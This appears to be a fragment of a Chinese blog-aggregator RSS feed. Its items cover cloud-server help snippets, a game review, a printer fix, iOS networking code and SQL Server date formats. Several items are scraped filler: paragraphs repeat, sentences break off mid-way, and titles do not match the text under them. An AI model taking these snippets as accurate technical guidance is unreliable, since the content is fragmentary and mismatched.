相关内容&#xA;服务器迁移实时状态显示连接断开，导致大部分操作无法进行。源端Agent停止运行。源端Agent长时间不操作(默认为30天，可通过config/g-property.cfg的heartmonitorday参数配置)，导致Agent主动与服务断开连接。源端与Agent服务网络连接异常。系统被注销或退出了远程登录(部分机器远程登录退出会自动注销&#xA;本节为您介绍如何通过控制台提供的远程登录功能(即VNC方式)登录到云服务器上。登录成功后，如需使用VNC界面提供的复制、粘贴功能，请参见后续处理。已绑定弹性公网IP。登录管理控制台。单击管理控制台左上角的，选择区域和项目。选择“计算 &amp;gt; 云耀云服务器”。选择要登录的云服务器，单击“操作”列下的“远程登录”。远程登录在弹出的“登录Linux&#xA;xp系统如何做远程服务器呢 更多内容&#xA;代码迁移工具进行代码迁移时，需要调用Linux下的rpm、deb等命令才能完成扫描和迁移相关任务，这些命令和逻辑必须在后端Linux运行。IDE插件只支持以Web模式使用root用户安装工具，不支持以CLI模式安装工具。由于root用户拥有最高权限，直接使用root用户登录服务器可能会存在安全风险。建议您使用普通用户登录服务器后切换为ro&#xA;代码迁移工具进行代码迁移时，需要调用Linux下的rpm、deb等命令才能完成扫描和迁移相关任务，这些命令和逻辑必须在后端Linux运行。IDE插件只支持以Web模式使用root用户安装工具，不支持以CLI模式安装工具。由于root用户拥有最高权限，直接使用root用户登录服务器可能会存在安全风险。建议您使用普通用户登录服务器后切换为ro&#xA;华为云帮助中心，为用户提供产品简介、价格说明、购买指南、用户指南、API参考、最佳实践、常见问题、视频帮助等技术文档，帮助您快速上手使用华为云服务。&#xA;代码迁移工具进行代码迁移时，需要调用Linux下的rpm、deb等命令才能完成扫描和迁移相关任务，这些命令和逻辑必须在后端Linux运行。插件只支持以Web模式使用root用户安装工具，不支持以CLI模式安装工具。由于root用户拥有最高权限，直接使用root用户登录服务器可能会存在安全风险。建议您使用普通用户登录服务器后切换为root用&#xA;在主机中安装Agent后，您才能开启企业主机安全服务。通过本节介绍，您将了解如何在Windows操作系统的主机中安装Agent。Linux操作系统的Agent安装请参见Linux版本。网页防篡改与主机安全共用同一个Agent，您只需在同一主机安装一次。待安装Agent所在的线下主机必须绑定弹性IP。待安装Agent所在的线上主机需要与网段&#xA;代码迁移工具进行代码迁移时，需要调用Linux下的rpm、deb等命令才能完成扫描和迁移相关任务，这些命令和逻辑必须在后端Linux运行。插件只支持以Web模式使用root用户安装工具，不支持以CLI模式安装工具。由于root用户拥有最高权限，直接使用root用户登录服务器可能会存在安全风险。建议您使用普通用户登录服务器后切换为root用&#xA;华为云帮助中心，为用户提供产品简介、价格说明、购买指南、用户指南、API参考、最佳实践、常见问题、视频帮助等技术文档，帮助您快速上手使用华为云服务。&#xA;容器镜像服务是一种支持容器镜像全生命周期管理的服务， 提供简单易用、安全可靠的镜像管理功能，帮助用户快速部署容器化服务。本文档将帮助您学习如何安装容器引擎以及如何使用容器引擎客户端上传镜像到容器镜像仓库。上传镜像仅适用于管理控制台操作，暂时没有开放镜像上传的API。您将按以下流程学习如何使用容器镜像服务。在使用容器镜像服务前，您需要完成注&#xA;本章节指导用户如何使用双因子认证。请参见：开启双因子认证功能。登录Linux主机使用PuTTY/Xshell登录云主机。登录时，请选择Keyboard Interactive，输入用户身份验证。PuTTY请参见图1选择Keyboard Interactive，并单击确定。键盘交互模式(一)Xshell在会话属性框中，选择连接 &amp;gt; 用户身份&#xA;通过云堡垒机登录资源，云主机黑屏无法正常显示。通过云堡垒机登录资源，登录不上或出现网络断连。原因一：资源主机服务器卡顿，网络连接不稳定。原因二：云堡垒机共享带宽不满足使用需求。原因三：资源相关主机服务授权到期，例如Windows授权到期，RDP远程服务120天授权到期等。原因一：重启相应主机资源，重新开机后网络恢复正常。登录云堡垒机系统，&#xA;用户在配置云堡垒机安装远程桌面服务，创建一个应用发布服务器时，需要输入企业协议号码授权，企业协议号非免费提供套件。云堡垒机不提供企业协议号，应用发布服务器为第三方管理插件，企业协议号需要客户自行申购。类似于客户申购了Windows系统，但Office套件并非免费提供，需要客户单独申购。</description>
    </item>
    <item>
      <title>网页服务器怎么才能挤进去,逆水寒挤不进去服务器是正常操作 那挤进去的玩家都是什么感受？...</title>
      <link>https://bchobby.github.io/posts/52ce811fcf2c095e8c448d4efc4afb70/</link>
      <pubDate>Mon, 09 Aug 2021 22:30:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/52ce811fcf2c095e8c448d4efc4afb70/</guid>
      <description>原标题：逆水寒挤不进去服务器是正常操作 那挤进去的玩家都是什么感受？&#xA;逆水寒开测第一天便形成了近年少见的挤服务器的热度，多少年过去了，鲜有端游能达到这样的挤服务器盛景，关于如何挤进去的技巧我们今天就不提了，大家早晚都能进去，对于已经挤进去并且玩了一天的玩家来说，他们的感受又是怎样的呢？一起来看看。&#xA;玩家：可操控性没想象中的那么渣，当然比起Arpg网游差多了，但从招式分段等角度来说，至少在基本设定上，还是有一定操作开发空间的。这点很重要，因为一款游戏，我从没见过操作模式有大改的，那会赶走老玩家。底子决定了他未来能改到什么程度。&#xA;玩家：画面很棒，和天刀差不多，就是地图小了点。配音很棒，女声让我想起了小龙虾，可爱，支线任务大多是be结局，很让人感动，同时我怀疑文案是不是失恋了才能写出这么多悲剧。庄园系统非常棒，类似于过山车之星这种沙盒游戏。我能玩一年！有跟剑三差不多的成就系统，还有各种大小奇遇，我已经奇遇了两个中型的了。一路上都是单机，玩家团体不评价。&#xA;玩家：画面很漂亮，至于之前说的那些空气墙，我感觉可能就是没做完，比如只做了模型，刚体判定之类的还没弄，你跳过去可能就无限掉落了，而不只是贴图。这明显是一个赶这暑假上的作品，而没做完总有做完的时候的。&#xA;玩家：其实在剧情方面游戏真的比电影有前途，因为游戏可交互。但是逆水寒的剧情，放到整个游戏界来说也就70分(个人看法)，再加上做得极差的探索模式，玩它的剧情是真不如看电影的。&#xA;玩家：我觉得这个游戏在优化好的前提下，副本真的是一塌糊涂，从头到尾没有一丝打击感，就是看怪的血条，死了就是死了。我就是把这游戏当单机玩的，剧情非常棒，风景也炒鸡好点卡这东西，每天压个镖就能换24小时，根本用不完。&#xA;玩家：我觉得它的剧情如果配合上好的探索模式的话，还是可堪一玩、颇有代入感的。但偏偏它的探索模式做得太垃圾了，就是纯粹的取消自动寻路，并且场景转换太多。我平时一般玩单机，是很反感自动寻路的，也很喜欢满世界乱逛，但逆水寒的探索模式我坚持到30级也放弃了。&#xA;玩家：我就不能容忍的就是。为什么新区要放在一区的头上搞的我以为相近欢是一区去缘定三生排了三个小时进去才进去CDK都用掉了。。今天居然告诉我这个是新大区很快就会鬼了真是。。可怜我的新手礼包没了。转区群龙。这游戏操作模式感人，不知道哪个做的，也不能怪，伪3d。&#xA;玩家：轻功在武侠类里是最差的存在，没有哪一款比逆水寒的轻功更差劲的。这点大家都有共识吧？你不盯着那个游标就没办法无限飞，然后并不能随缘停自己想去的地方，我用过一次之后就再没用过这种轻功了。体验最差的鸡肋般存在。&#xA;玩家：我到42了 玩的铁衣 没什么意思感觉副本 就是切个防御姿态脸滚键盘那个技能亮了按哪个。 后排对着boss菊花滚键盘 boss完全不吃控我都不知道那么多控制技能能干嘛 buff栏也是看不见 机制提示也不明显 神州奇侠就是连着打6个boss 别的副本就是清一堆小怪再打一个boss 很无聊。&#xA;玩家：主要是前期节奏太紧凑了，根本没法静下心看剧情，一路点点点，关键是过不完的图，一个读图刚出来没几秒钟又读图，就很烦躁，还不如天刀传送点那样可以只传一次。但是自动寻路过程中路过一个茶园听到采茶女在唱歌，很惊艳，好感升回来一点点……现在总体来说还是想继续玩下去的。&#xA;玩家：剧情很走心画质也不错，玩法也很多，比较满意。但是缺点也明显。有点吃内存，而且实在太肝了…我把副本日常做完一上午没得了，就是不知道之后紫装怎么凑齐一套，等级开太快差距会拉大很多。还有，花花很可爱。返回搜狐，查看更多&#xA;责任编辑：</description>
    </item>
    <item>
      <title>centos 共享文件服务器,centos文件共享服务器</title>
      <link>https://bchobby.github.io/posts/53f68ddf046803cd76eeadc376ea3ecc/</link>
      <pubDate>Mon, 09 Aug 2021 22:11:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/53f68ddf046803cd76eeadc376ea3ecc/</guid>
      <description>centos文件共享服务器 内容精选&#xA;换一换&#xA;文件共享创建完成后，用户需在本地服务器挂载文件共享，在本地共享目录和CSG的文件共享建立映射，通过同步本地目录的操作，实现数据实时上云管理。本章节主要介绍在Linux客户端挂载NFS文件共享的操作指导。不同操作系统安装NFS客户端的命令不同，已明确服务器操作系统类型为Linux。已在CSG管理控制台创建文件共享，并获取到文件共享路径。不同&#xA;文件系统创建完成后，用户需在客户端挂载文件共享，在本地共享目录和CSG的文件共享建立映射，通过操作本地的目录实现对CSG共享目录的操作，实现数据实时上云管理。本章节主要介绍在Windows Server 2008客户端挂载NFS文件共享的操作指导。不同操作系统安装NFS客户端的命令不同，已明确服务器操作系统类型为Windows。已在CSG&#xA;centos文件共享服务器 相关内容&#xA;本课程主要针对openEuler操作系统工程师在基础运维工作，以文件共享服务器的搭建和运维为案例，讲解openEuler操作系统的基础知识，并培养基础运维操作能力。通过该课程的学习，能掌握openEuler操作系统的基础操作、用户和权限管理、网络管理、文件及存储管理、软件管理、进程及计划任务管理、shell脚本基础等知识和操作能力。系统管&#xA;弹性文件服务(Scalable File Service，SFS)提供按需扩展的高性能文件存储，支持同时为多个弹性云服务器(Elastic Cloud Server, ECS)提供文件共享服务。弹性文件服务提供标准的文件访问协议，用户可以将现有应用和工具与弹性文件服务无缝集成。弹性文件服务提供简单易用的操作界面，用户可以快捷地创建和管理文&#xA;centos文件共享服务器 更多内容&#xA;内网环境下，Windows云服务器之间怎样实现文件夹共享？部分运营商可能会屏蔽139、445端口，导致广域网无法访问共享。因此，Windows云服务器文件共享方案建议仅在内网环境下使用。确保“Tcp/IP NetBIOS Helper”服务状态为“已启动”。打开cmd窗口执行命令services.msc，找到TCP/IP NetBIOS&#xA;本节操作指导用户实现同一个子网的Windows弹性云服务器之间文件共享。共享文件的云服务器在同一个子网下，且网络互通。在云服务器右下方的网络图标处，右键单击“打开网络和共享中心”。打开网络和共享中心单击“更改高级共享设置”分别开启“专用”和“来宾公用”的“启用文件和打印机共享”，单击“保存更改”启用或关闭系统图标在cmd窗口执行命令ser&#xA;华为云帮助中心，为用户提供产品简介、价格说明、购买指南、用户指南、API参考、最佳实践、常见问题、视频帮助等技术文档，帮助您快速上手使用华为云服务。&#xA;弹性文件服务(Scalable File Service，SFS)提供按需扩展的高性能文件存储(NAS)，可为云上多个弹性云服务器(Elastic Cloud Server，ECS)，容器(CCE&amp;amp;CCI)、裸金属服务器(BMS)提供共享访问。如图1所示。与传统的文件共享存储相比，弹性文件服务具有以下优势：文件共享同一区域跨多个可用区的云&#xA;弹性文件服务提供按需扩展的高性能文件存储(NAS)，可为云上多个弹性云服务器和裸金属服务器等提供共享访问。如果用户需要使用完全托管的共享文件存储，希望可以通过多个云上服务器共享访问一个文件系统，则可以使用弹性文件服务。下面介绍如何调用创建共享API创建文件共享，API的调用方法请参见如何调用API。您需要规划弹性文件服务所在的区域信息，并&#xA;用户要使用CSG，首先要注册一个华为云帐号，才有访问华为云资源的权限。目前CSG服务处于公测阶段，需要申请公测并通过审核才能使用，商用后自动开通。此外为确保用户能正确快速使用CSG服务，用户需提前准备符合要求的部署网关的客户端环境。本小节主要介绍了如何开通CSG服务，同时介绍了CSG推荐使用的组网和端口配置。如果您已有一个华为云帐号，请跳&#xA;集群部署(单NFS Server)部署方案如图1所示。说明如下：VPC网络：为了保证网络的安全，SAP HANA系统中所有节点在一个VPC网络内，且所有节点应属于同一个AZ(Available Zone)。公网子网区：NAT(Network Address Translation)服务器：租户对SAP HANA节点的SSH访问需要通过NA&#xA;删除共享。该接口为异步接口，返回为202只是表示接口下发接收成功，后续可以通过查询共享详细信息查询共享，判断删除共享是否完成以及是否成功。DELETE /v2/{project_id}/shares/{share_id}参数说明参数是否必选参数类型描述share_id是String共享的ID。project_id是String操作用户的项&#xA;使用云存储网关，用户可登录CSG管理控制台查看网关详细信息，包括网关基本信息、文件共享详细信息、网关升级、缓存盘监控等，用户可实时跟踪网关信息动态。已完成网关初始化，成功部署网关。目前一个云存储网关仅支持创建一个文件共享。&#xA;华为云帮助中心，为用户提供产品简介、价格说明、购买指南、用户指南、API参考、最佳实践、常见问题、视频帮助等技术文档，帮助您快速上手使用华为云服务。&#xA;单独购买的磁盘为数据盘，可以在磁盘列表中看到磁盘属性为“数据盘”，磁盘状态为“可用”。此时需要将该数据盘挂载给云服务器使用。本章节指导用户挂载共享磁盘，共享磁盘可以挂载至16台云服务器。进入“专属分布式存储”页面。进入“磁盘”页面。共享磁盘支持批量挂载操作，可以同时将一块共享磁盘挂载至多台云服务器。“挂载磁盘”对话框左侧区域为可选的云服务</description>
    </item>
    <item>
      <title>如何查看服务器被修改,查看服务器ip地址被修改的日志</title>
      <link>https://bchobby.github.io/posts/5d26fcd50af211803072494eea9f0b94/</link>
      <pubDate>Mon, 09 Aug 2021 21:57:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5d26fcd50af211803072494eea9f0b94/</guid>
      <description>查看服务器ip地址被修改的日志 内容精选&#xA;换一换&#xA;表1列出了虚拟私有云VPC的常用功能。在使用虚拟私有云VPC之前，建议您先通过基本概念介绍了解子网、路由表、安全组、弹性公网IP等基本概念，以便更好地理解虚拟私有云VPC提供的功能。&#xA;修改系统时间后服务器网卡出现感叹号，无法连接网络。该文档适用于CentOS 7、EulerOS，并使用DHCP协议获取IP场景。DHCP租约通常默认为24小时，具体以实际场景为例。DHCP会话过程：DHCP典型会话过程包括：DHCP发现、DHCP提供、DHCP请求、DHCP确认，如图1所示DHCP发现(DISCOVER)客户在物理子网上发&#xA;查看服务器ip地址被修改的日志 相关内容&#xA;为加强对系统数据的容灾管理，云堡垒机支持配置日志备份，提高审计数据安全性和系统可扩展性。本小节主要介绍如何在系统配置Syslog服务器参数，将日志远程备份至Syslog服务器。开启远程备份后，系统默认在每天零点备份前一天的系统数据。以天为单位自动备份，生成日志文件，并上传到Syslog服务器相应路径。支持备份至Syslog服务器的日志包括&#xA;如果IP经过NAT/WAF，则只能获取到NAT/WAF转化后的IP地址，无法获取到NAT/WAF前的IP地址。如果客户端为容器，只能获取到容器所在主机的IP地址，无法获取容器的IP。四层监听器(TCP/UDP)开启“获取客户端IP”功能之后，不支持同一台服务器既作为后端服务器又作为客户端的场景。此时您可以通过配置TOA插件获取源IP。独享&#xA;查看服务器ip地址被修改的日志 更多内容&#xA;根据本地历史数据备份策略，集群的审计日志需要转储到第三方服务器上。系统每天零晨3点开始周期性检测转储服务器，如果转储服务器满足配置条件，审计日志可以成功转储。审计日志转储失败，系统产生此告警。如果第三方服务器的转储目录磁盘空间不足，或者用户修改了转储服务器的用户名、密码或转储目录，将会导致审计日志转储失败。系统本地最多只能保存50个转储文&#xA;系统运行过程中需要记录的日志级别、日志输出路径、日志文件名、单个日志文件大小等信息可以配置，本节对控制日志生成的配置进行介绍。&#xA;ICAgent是云日志服务进行日志采集的工具，运行在需要采集日志的主机中。使用云日志服务在Linux环境采集日志时，需要安装ICAgent。您可以通过以下操作指导在Linux环境中安装ICAgent。安装ICAgent前，请确保本地浏览器的时间、时区与主机的时间、时区一致。如果不一致，可能会导致日志上报出错。安装非华为云主机需具备以下条件&#xA;系统运行过程中需要记录的日志级别、日志输出路径、日志文件名、单个日志文件大小等信息可以配置，本节对控制日志生成的配置进行介绍。&#xA;kubernetes除了必要的支撑组件以外，其他的组件都是以插件的形式运行，如Kubernetes DNS，Kubernetes Dashboard等等。插件是对现有功能的扩展，当前云容器实例提供了coredns插件供您使用，您可以在云容器实例界面上直接安装插件，从而方便的使用插件提供的功能。coredns插件为您的其他负载提供内部域名解&#xA;在使用BCS的过程中，如果遇到异常情况，可以通过查看运维日志来帮助分析、定位问题，快速高效地进行设备运维管理。本章主要指导如何通过前台界面以及后台虚拟机查看CCE集群和IEF集群下部署的BCS服务各节点的运维日志。单击“工作负载 &amp;gt; 无状态负载”，选择BCS服务所在集群，查看并记录baas-agent与dev-peer节点名称，例如“ba&#xA;虚拟私有云(Virtual Private Cloud)是用户在华为云上申请的隔离的、私密的虚拟网络环境。用户可以自由配置VPC内的IP地址段、子网、安全组等子服务，也可以申请弹性带宽和弹性公网IP搭建业务系统。&#xA;为加强对系统数据的容灾管理，云堡垒机支持配置日志备份，提高审计数据安全性和系统可扩展性。本小节主要介绍如何在系统配置FTP/SFTP服务器参数，将日志远程备份至FTP/SFTP服务器。开启远程备份后，系统默认在每天零点备份前一天的系统数据。以天为单位自动备份，生成日志文件，并上传到FTP/SFTP服务器相应路径。服务器同一路径下，不能重复&#xA;系统运行过程中需要记录的日志级别、日志输出路径、日志文件名、单个日志文件大小等信息可以配置，本节对控制日志生成的配置进行介绍。用户在修改日志配置项时，请严格按照表1中的要求，根据建议值或取值范围进行配置，若不按照配置项配置要求，可能会导致系统异常。手动修改Host侧配置文件后，需执行reboot命令重启系统，使配置在Host侧生效；如果仅&#xA;在待分析的服务器上安装节点。Web服务器(即安装鲲鹏性能分析工具的服务器)默认安装了节点，如果待分析的服务器与安装工具的服务器是同一个，请跳过该章节。已成功登录系统性能分析。待添加节点的服务器已配置操作系统yum/apt/zypper源，详细步骤请参见配置操作系统yum/apt/zypper源。待添加节点的服务器已关闭SELinux，详细&#xA;cd /opt/dis-agent-X.X.X/logstail -100f dis-agent.log显示如下信息，表示Agent正常运行。Agent: Startup completed in xx msAgent运行异常，常见问题原因和处理方法如下：HttpClientErrorException: 400 Bad Request可</description>
    </item>
    <item>
      <title>gartner 服务器虚拟化 市场份额 2013,Gartner：VMware成虚拟化魔力象限领导者</title>
      <link>https://bchobby.github.io/posts/9129feb792436e7d8c6ca6a856ebdc87/</link>
      <pubDate>Mon, 09 Aug 2021 21:32:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9129feb792436e7d8c6ca6a856ebdc87/</guid>
      <description>ZDNet至顶网软件频道消息：Gartner在其2013年《x86服务器虚拟化基础架构魔力象限》报告中将VMware评为领导厂商,魔力象限仅用作一种研究工具，并不意味着行动的具体指导。Gartner对该项研究不提供任何明示或默示的担保，包括适销性或适用于某一特定用途的任何担保,Gartner并不对在魔力象限中描述的任何厂商、产品或服务表示支持，也不建议技术用户只选择那些位于“领导者”象限的厂商。&#xA;VMware云基础架构产品副总裁John Gilmartin表示：“VMware的虚拟化软件支持各种规模的客户都能大大简化IT，同时改善敏捷性、控制力和效率。我们认为，连续四年被评为Gartner x86魔力象限领导厂商是对我们的愿景、战略和产品的有力印证，我们将继续支持客户管理、保护并配置其内部和外部数据。”&#xA;Gartner报告显示，“截止2013年中，几乎三分之二的x86架构负载都在服务器上进行了虚拟化。”该报告指出“虚拟化是基础架构即服务(IaaS)的基本推动因素，并将用于构建私有云服务、公有云服务和可互操作的混合云服务。实际上，所有IaaS产品都将依赖虚拟机或某种独立于硬件的承载技术。”&#xA;VMware vSphere是世界上部署较广泛的虚拟化平台，广泛用于大型企业、中小型企业、公有云服务提供商，并成为日渐扩张的虚拟桌面(VDI)市场的基础。&#xA; 过去一年，VMware的全球客户突破50万家，其中包括所有财富100强企业。&#xA; 目前在31个国家共有超过242个经过验证的VMware vCloud公有云。&#xA; VMware vSphere支持超过3,700个应用程序。</description>
    </item>
    <item>
      <title>打印的时候显示域服务器不可用,Win10打印时active directory域服务不可用解决方法...</title>
      <link>https://bchobby.github.io/posts/af8342908b252cf459239826c5943017/</link>
      <pubDate>Mon, 09 Aug 2021 21:31:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/af8342908b252cf459239826c5943017/</guid>
      <description>在Win10系统中使用Word\Excel我们进行打印时会遇上active directory域服务不可用的错误，给很多用户带来了困扰，那么要如何解决呢？下面小编就教大家来解决这个问题。&#xA;解决思路：这种情况通常是由于Win10系统中的服务关闭和防火墙的问题所引起的，我们只需要将其修复问题就可以解决了。&#xA;Win10打印时active directory域服务不可用解决步骤如下：&#xA;1.我们把word或其他办公软件添加的打印机删除掉(不能在word、excel)这类办公软件内添加打印机，不然会出现域服务不可用错误，你们所遇到的问题就是这样来的!&#xA;2.按下键盘山的Win+R键打开运行，操作时输入“Control”，点击“确定”打开控制面板&#xA;3.进入控制面板页面后，我们将右上角的查看模式设置为“大图标”，然后找到并单击“设备和打印机”,然后添加我们电脑连接的打印机设备型号；参考下图步骤&#xA;4.然后再次按下键盘上的win+R键呼出运行，然后输入“services.msc”启动服务；参考下图步骤&#xA;5.此时我们会看到“Print Spooler”服务选项，我们将其打开，在弹出的后台打印程序属性设置窗口中，将启动类型设置为自动，然后单击下面的“启动”按钮。如果此时它已经处于启动状态，请停止启动并确认保存；参考下图步骤&#xA;8.最后，我们再次使用打印机的时候，就不会再出现错误提示了，相信以上教程会对大家有一定的帮助。&#xA;分享到：</description>
    </item>
    <item>
      <title>ios系统更新后无网络连接到服务器,升级完X9，iOS11之后，原来一切都正常，现在无法连接服务器。...</title>
      <link>https://bchobby.github.io/posts/dfe992065913f18b22a8791c46f5fb55/</link>
      <pubDate>Mon, 09 Aug 2021 20:24:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dfe992065913f18b22a8791c46f5fb55/</guid>
      <description>AFHTTPSessionManager *session = [AFHTTPSessionManager manager];&#xA;//添加证书&#xA;NSString *cerPath = [[NSBundle mainBundle] pathForResource:@&#34;mnchip&#34; ofType:@&#34;cer&#34;];&#xA;NSData *cerDat = [NSData dataWithContentsOfFile:cerPath];&#xA;AFSecurityPolicy *securityPolicy = [AFSecurityPolicy policyWithPinningMode:AFSSLPinningModeCertificate withPinnedCertificates:[NSSet setWithObject:cerDat]];&#xA;securityPolicy.allowInvalidCertificates = YES;&#xA;securityPolicy.validatesDomainName = YES;&#xA;session.securityPolicy = securityPolicy;&#xA;NSDictionary *params = [NSDictionary dictionaryWithObjectsAndKeys:@&#34;DoPassword&#34;,VALUE_NAME,temDevicenum,VALUE_ID,@(time),VALUE_TIMESTAMP,mmm,VALUE_MD5,@&#34;&#34;,@&#34;cPassword&#34;, nil];&#xA;[session POST:KURL parameters:params progress:nil success:^(NSURLSessionDataTask * _Nonnull task, id _Nullable responseObject) {&#xA;NSDictionary *dictionary = (NSDictionary *)responseObject;&#xA;if ([dictionary[@&#34;ReturnValue&#34;] intValue] == 1) {&#xA;// NSLog(@&#34;请求登陆口令成功&#34;);&#xA;}&#xA;} failure:^(NSURLSessionDataTask * _Nullable task, NSError * _Nonnull error) {</description>
    </item>
    <item>
      <title>跨服务器传递文件夹,php跨服务器上传文件</title>
      <link>https://bchobby.github.io/posts/840115082e8838c990320a263b30b08d/</link>
      <pubDate>Mon, 09 Aug 2021 19:09:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/840115082e8838c990320a263b30b08d/</guid>
      <description>php跨服务器上传文件 内容精选&#xA;换一换&#xA;华为云帮助中心，为用户提供产品简介、价格说明、购买指南、用户指南、API参考、最佳实践、常见问题、视频帮助等技术文档，帮助您快速上手使用华为云服务。&#xA;安装传输工具在本地主机和Windows云服务器上分别安装数据传输工具，将文件上传到云服务器。例如QQ.exe。在本地主机和Windows云服务器上分别安装数据传输工具，将文件上传到云服务器。例如QQ.exe。本地磁盘映射(推荐使用)使用远程桌面连接MSTSC方式进行数据传输。该方式不支持断点续传，可能存在传输中断的情况，因此不建议上传大文&#xA;php跨服务器上传文件 相关内容&#xA;怎样上传文件到Windows操作系统云服务器？安装传输工具在本地主机和Windows云服务器上分别安装数据传输工具，将文件上传到云服务器。例如QQ.exe。在本地主机和Windows云服务器上分别安装数据传输工具，将文件上传到云服务器。例如QQ.exe。本地磁盘映射(推荐使用)使用远程桌面连接MSTSC方式进行数据传输。该方式不支持断点续&#xA;将文件上传至Windows云服务器一般会采用MSTSC远程桌面连接的方式。本节为您介绍本地Windows计算机通过远程桌面连接，上传文件至Windows云服务器的操作方法。Windows云服务器可以访问公网。在本地Windows计算机上，单击“开始”，在出现的“搜索程序和文件”输入框中输入mstsc。弹出远程桌面连接对话框。弹出远程桌面连&#xA;php跨服务器上传文件 更多内容&#xA;将文件上传至Windows云服务器一般会采用MSTSC远程桌面连接的方式。本节为您介绍本地Windows计算机通过远程桌面连接，上传文件至Windows云服务器的操作方法。Windows云服务器可以访问公网。在本地Windows计算机上，单击“开始”，在出现的“搜索程序和文件”输入框中输入mstsc。弹出远程桌面连接对话框。弹出远程桌面连&#xA;本文介绍如何在 Linux 系统的本地机器上使用 FTP 服务，将文件从本地上传到云服务器中。已在待上传文件的云服务器中搭建 FTP 服务。如果您的云服务器为 Windows 操作系统，具体操作请参考 搭建FTP 站点(Windows)。如果您的云服务器为 Linux 操作系统，具体操作请参考 搭建FTP 站点(Linux)。Linux操&#xA;本节操作介绍本地Linux操作系统主机通过SCP向Linux云服务器传输文件的操作步骤。登录管理控制台，在ECS列表页面记录待上传文件的云服务器的弹性公网IP。上传文件在本地Linux操作系统主机上执行以下命令，传输文件到Linux操作系统云服务器。scp 本地主机文件地址 用户名@弹性公网IP:云服务器文件地址例如：将本地文件 /hom&#xA;当服务器A和服务器B同时挂载同一文件系统C时，在服务器A上传文件，服务器B同步此文件时存在延时，而单独上传至服务器B则没有延时。需要在两个服务器的挂载参数中增加参数noac，noac表示禁止缓存，强制进行同步写。为了提高性能，NFS客户端缓存文件属性(默认ac)，然后每隔一段时间去检查文件属性后更新。在缓存有效期内，客户端不检测服务器上文&#xA;弹性云服务器支持通过内网访问OBS，OBS可供用户存储任意类型的数据。将图片、视频等数据存储至OBS后，在ECS上可以访问OBS，下载桶中的图片或视频等数据。通过内网访问OBS，可以避免因网络不稳定导致的数据传输中断问题，且使用内网访问OBS不收取流量费用，最大化的优化性能、节省开支，提高文件上传成功率。当通过内网访问OBS时，需要确保待&#xA;本节操作介绍如何在Windows操作系统的本地主机上使用FTP上传文件到云服务器。已在待上传文件的云服务器中搭建 FTP 服务。如果您的云服务器为 Windows 操作系统，具体操作请参考 搭建FTP 站点(Windows)。如果您的云服务器为 Linux 操作系统，具体操作请参考 搭建FTP 站点(Linux)。在Windows本地主机&#xA;华为云帮助中心，为用户提供产品简介、价格说明、购买指南、用户指南、API参考、最佳实践、常见问题、视频帮助等技术文档，帮助您快速上手使用华为云服务。&#xA;文件选择上传控件，用于上传文件。&#xA;将文件上传至Linux服务器一般会采用WinSCP工具。本节为您介绍本地Windows计算机使用WinSCP工具，上传文件至Linux云服务器的操作方法。以下以CentOS 7.2为例。Linux云服务器可以访问公网。下载 WinSCP 客户端并安装。单击这里下载：https://winscp.net/eng/docs/lang:chs。&#xA;WinSCP工具可以实现在本地与远程计算机之间安全地复制文件。与使用FTP上传代码相比，通过 WinSCP 可以直接使用服务器账户密码访问服务器，无需在服务器端做任何配置。通常本地Windows计算机将文件上传至Linux服务器一般会采用WinSCP工具。本节为您介绍本地Windows计算机使用WinSCP工具，上传文件至Linux云服务&#xA;支持将华为云服务器上的音视频文件通过内网方式上传到与服务器在同一区域的视频点播服务中，但您需要先将服务器当前使用的DNS切换为华为云的内网DNS，具体请参见怎样切换内网DNS？。然后使用视频点播服务提供的批量上传工具，将华为云服务器上的音视频文件上传到视频点播服务中，具体请参见工具批量上传。</description>
    </item>
    <item>
      <title>sql服务器系统时间格式,sqlserver获取系统时间</title>
      <link>https://bchobby.github.io/posts/c49c79fc85ffdb93c92fd4538aaa4c82/</link>
      <pubDate>Mon, 09 Aug 2021 19:09:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c49c79fc85ffdb93c92fd4538aaa4c82/</guid>
      <description>SQL SERVER&#xA;2000用sql语句如何获得当前系统时间&#xA;就是用GETDATE();&#xA;Sql中的getDate()2008年01月08日 星期二 14:59&#xA;Sql Server 中一个非常强大的日期格式化函数&#xA;Select CONVERT(varchar(100), GETDATE(), 0): 05 16 2008&#xA;10:57AM&#xA;Select CONVERT(varchar(100), GETDATE(), 1): 05/16/08&#xA;Select CONVERT(varchar(100), GETDATE(), 2): 08.05.16&#xA;Select CONVERT(varchar(100), GETDATE(), 3): 16/05/08&#xA;Select CONVERT(varchar(100), GETDATE(), 4): 16.05.08&#xA;Select CONVERT(varchar(100), GETDATE(), 5): 16-05-08&#xA;Select CONVERT(varchar(100), GETDATE(), 6): 16 05 08&#xA;Select CONVERT(varchar(100), GETDATE(), 7): 05 16, 08&#xA;Select CONVERT(varchar(100), GETDATE(), 8): 10:57:46&#xA;Select CONVERT(varchar(100), GETDATE(), 9): 05 16 2008</description>
    </item>
    <item>
      <title>sql2008sp2服务器上新建数据库导入备份文件后显示受限制用户,Sql server 备份还原后出现 受限制用户 问题...</title>
      <link>https://bchobby.github.io/posts/0c0dad40239545c0ed0d20d5a0acdda1/</link>
      <pubDate>Mon, 09 Aug 2021 18:45:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0c0dad40239545c0ed0d20d5a0acdda1/</guid>
